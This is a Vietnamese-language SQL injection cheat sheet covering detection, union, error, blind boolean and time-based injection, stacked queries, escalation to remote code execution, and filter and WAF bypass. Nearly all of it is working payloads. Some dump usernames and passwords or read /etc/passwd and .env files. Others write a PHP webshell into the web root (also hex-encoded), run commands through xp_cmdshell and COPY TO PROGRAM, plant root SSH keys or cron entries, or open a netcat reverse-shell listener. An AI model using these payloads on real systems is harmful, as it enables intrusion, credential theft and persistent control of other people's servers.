Dấu hiệu nhận biết
- Input bất thường:
id=1' → Lỗi SQL (e.g., "You have an error in your SQL syntax").
id=1' OR '1'='1-- → Trả về tất cả dữ liệu.
id=1; -- → Bình luận bỏ phần truy vấn sau.
- Kiểm tra thêm:
id=1' AND 1=1-- → Trang bình thường (True).
id=1' AND 1=2-- → Trang lỗi (False).
- Database phổ biến:
- MySQL/MariaDB:
information_schema, LOAD_FILE, INTO OUTFILE.
- SQL Server:
sys.*, xp_cmdshell, WAITFOR.
- PostgreSQL:
pg_catalog, pg_read_file, COPY.
- Phản hồi:
- Lỗi SQL, dữ liệu bất thường, status code (500, 200), hoặc trì hoãn (Blind Time).
Cách khai thác
1. Union-Based SQLi (MySQL, MariaDB)
- Xác định số cột:
id=1 ORDER BY 1-- → Tăng số đến khi lỗi (binary search: ORDER BY 4, ORDER BY 2).
id=1 UNION SELECT null,null,null-- → Tăng null đến khi không lỗi.
id=-1 GROUP BY 4-- → Nếu UNION bị chặn.
- Kiểm tra cột hiển thị:
id=-1 UNION SELECT 1,2,3-- → Tìm cột string hiển thị trên trang.
- Trích xuất dữ liệu:
- Database:
id=-1 UNION SELECT 1,group_concat(0x7c,schema_name,0x7c) FROM information_schema.schemata--.
- Tables:
id=-1 UNION SELECT 1,group_concat(0x7c,table_name,0x7c) FROM information_schema.tables WHERE table_schema='db_name'--.
- Columns:
id=-1 UNION SELECT 1,group_concat(0x7c,column_name,0x7c) FROM information_schema.columns WHERE table_name='users'--.
- Data:
id=-1 UNION SELECT 1,concat(username,0x7e,password) FROM users--.
- SQL Server:
id=-1 UNION SELECT 1,username+'~'+password FROM users--.
- Giới hạn:
LIMIT 2,1 → Lấy bản ghi thứ 2, 1 bản ghi.
- Lưu ý:
- Loại bỏ dữ liệu gốc:
id=-1 để truy vấn gốc trả về rỗng.
- INSERT nhiều giá trị:
INSERT INTO log(a,b,c) VALUES (1,2,3),(SELECT version(),null,null);.
2. Error-Based SQLi
- Gây lỗi:
- MySQL:
id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--.
- SQL Server:
id=1 AND 1=convert(int,(SELECT db_name()))--.
- Trích xuất dữ liệu:
- Database:
id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata),0x7e))--.
- Tables:
id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='db_name'),0x7e))--.
- Columns:
id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e))--.
- Data:
id=1 AND extractvalue(1,concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1),0x7e))--.
- Lưu ý:
- Phụ thuộc vào lỗi hiển thị.
- PostgreSQL ít hỗ trợ Error-Based.
3. Blind Boolean-Based SQLi
- Kiểm tra:
id=1 AND 1=1-- → True (trang bình thường).
id=1 AND 1=2-- → False (trang lỗi).
id=1 AND (SELECT 'a' FROM users WHERE username='admin')='a'-- → True nếu admin tồn tại.
- Trích xuất dữ liệu:
- Độ dài:
id=1 AND length(database())=7--.
- Ký tự:
id=1 AND substring(database(),1,1)='w'-- hoặc id=1 AND ascii(substring(database(),1,1))=119--.
- Subquery:
id=1 AND substring((SELECT concat(username,':',password) FROM users LIMIT 0,1),1,1)='a'--.
- Tối ưu:
id=1 AND ascii(substring(database(),1,1)) BETWEEN 65 AND 90-- (binary search).
- Lưu ý:
- Dùng
upper()/lower() để giảm request.
- Status code: 200 (sai), 500 (đúng) để giảm nhiễu.
4. Blind Time-Based SQLi
- Kiểm tra:
- MySQL:
id=1 AND sleep(5)--.
- SQL Server:
id=1; WAITFOR DELAY '0:0:5'--.
- PostgreSQL:
id=1 AND pg_sleep(5)--.
- Trích xuất dữ liệu:
- Độ dài:
id=1 AND IF(length(database())=7,sleep(5),0)--.
- Ký tự:
id=1 AND IF(ascii(substring(database(),1,1))=119,sleep(5),0)--.
- Subquery:
id=1 AND IF(substring((SELECT concat(username,':',password) FROM users LIMIT 0,1),1,1)='a',sleep(5),0)--.
- Lưu ý:
- Đảm bảo mạng ổn định để tránh nhầm lẫn trì hoãn.
- SQL Server:
IF...WAITFOR; MySQL: IF...sleep.
5. Stack Query SQLi
- Thực thi nhiều lệnh:
- MySQL:
id=1; SELECT sleep(5)--.
- SQL Server:
id=1; EXEC master..xp_cmdshell 'whoami'--.
- PostgreSQL:
id=1; COPY (SELECT '') TO PROGRAM 'id'--.
- Ví dụ:
- Ghi file:
id=1; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--.
- Đọc file:
id=1; SELECT LOAD_FILE('/etc/passwd')--.
- Lưu ý:
- Phụ thuộc vào ngôn ngữ lập trình và cấu hình DB.
- PostgreSQL:
COPY cho RCE.
6. SQLi to RCE
- Kiểm tra quyền:
- MySQL:
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type IN ('EXECUTE', 'FILE')--.
- SQL Server:
SELECT * FROM sys.fn_my_permissions(NULL, 'DATABASE')--.
- Đọc file:
- MySQL:
id=1 UNION SELECT 1,LOAD_FILE('/etc/passwd')--.
- PostgreSQL:
id=1 UNION SELECT 1,pg_read_file('/etc/passwd')--.
- SQL Server:
id=1; SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS Contents--.
- Ghi file:
- MySQL:
id=1 UNION SELECT '<?php system($_REQUEST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--.
- Thư mục thay thế:
/tmp, /var/www/uploads, /var/www/static.
- Hex:
0x3c3f7068702073797374656d28245f524551554553545b22636d64225d293b3f3e (bypass ').
- Thực thi lệnh:
- SQL Server:
id=1; EXEC xp_cmdshell 'whoami'--.
- PostgreSQL:
id=1; COPY (SELECT '') TO PROGRAM 'whoami'--.
- MySQL: Ghi webshell hoặc thêm cron-job (
/etc/crontab).
- Khác:
- Authorized keys:
SELECT 'ssh-rsa ...' INTO OUTFILE '/root/.ssh/authorized_keys'--.
- Credential:
LOAD_FILE('/var/www/config.php') hoặc /var/www/.env.
Bypass
- Filter:
- Case:
UNION → UnIoN, SELECT → SeLeCt.
- Comment:
/**/ thay dấu cách, -- - tránh trim().
- Khoảng trống: Tab,
%0a, %0d, %00.
- WAF:
- Mã hóa:
hex(), char(), 0x<hex> (e.g., 0x3c3f706870 cho <?php).
- Ký tự đặc biệt:
%0a, %0d, %2f.
- Obfuscation:
SEL/**/ECT, UNION/**/SELECT.
- Tối ưu:
- Binary search:
ORDER BY 4, ascii(substring(...)) BETWEEN 65 AND 90.
- Giảm request:
upper()/lower(), LIMIT cho subquery.
- Status code: 200 (sai), 500 (đúng) cho Blind Boolean.
Ghi chú
- Kiểm tra phản hồi: Status code, content-length, body content, time response.
- Công cụ hỗ trợ:
- Burp Suite: Intercept, Intruder (Blind SQLi), Repeater.
- SQLMap:
--tamper, --dbms (MySQL, SQL Server, PostgreSQL).
- Netcat: Reverse shell (
nc -lvp 4444).
- Database:
- MySQL/MariaDB:
information_schema, LOAD_FILE, INTO OUTFILE.
- SQL Server:
sys.*, xp_cmdshell, WAITFOR.
- PostgreSQL:
pg_catalog, pg_read_file, COPY.
- RCE:
- Webshell:
/var/www/html/shell.php.
- Cron-job: Append
/etc/crontab.
- Authorized keys:
/root/.ssh/authorized_keys.
- Credential:
/var/www/config.php, .env.
- Tối ưu:
- Binary search: Tăng tốc
ORDER BY, Blind Boolean/Time.
- Error path: Lỗi gợi ý thư mục ghi (e.g.,
/tmp, /var/www/uploads).
- INSERT:
INSERT INTO log(a,b,c) VALUES (1,2,3),(SELECT version(),null,null);.
- Lỗi cột: Không dùng
UNION nếu số cột khác nhau.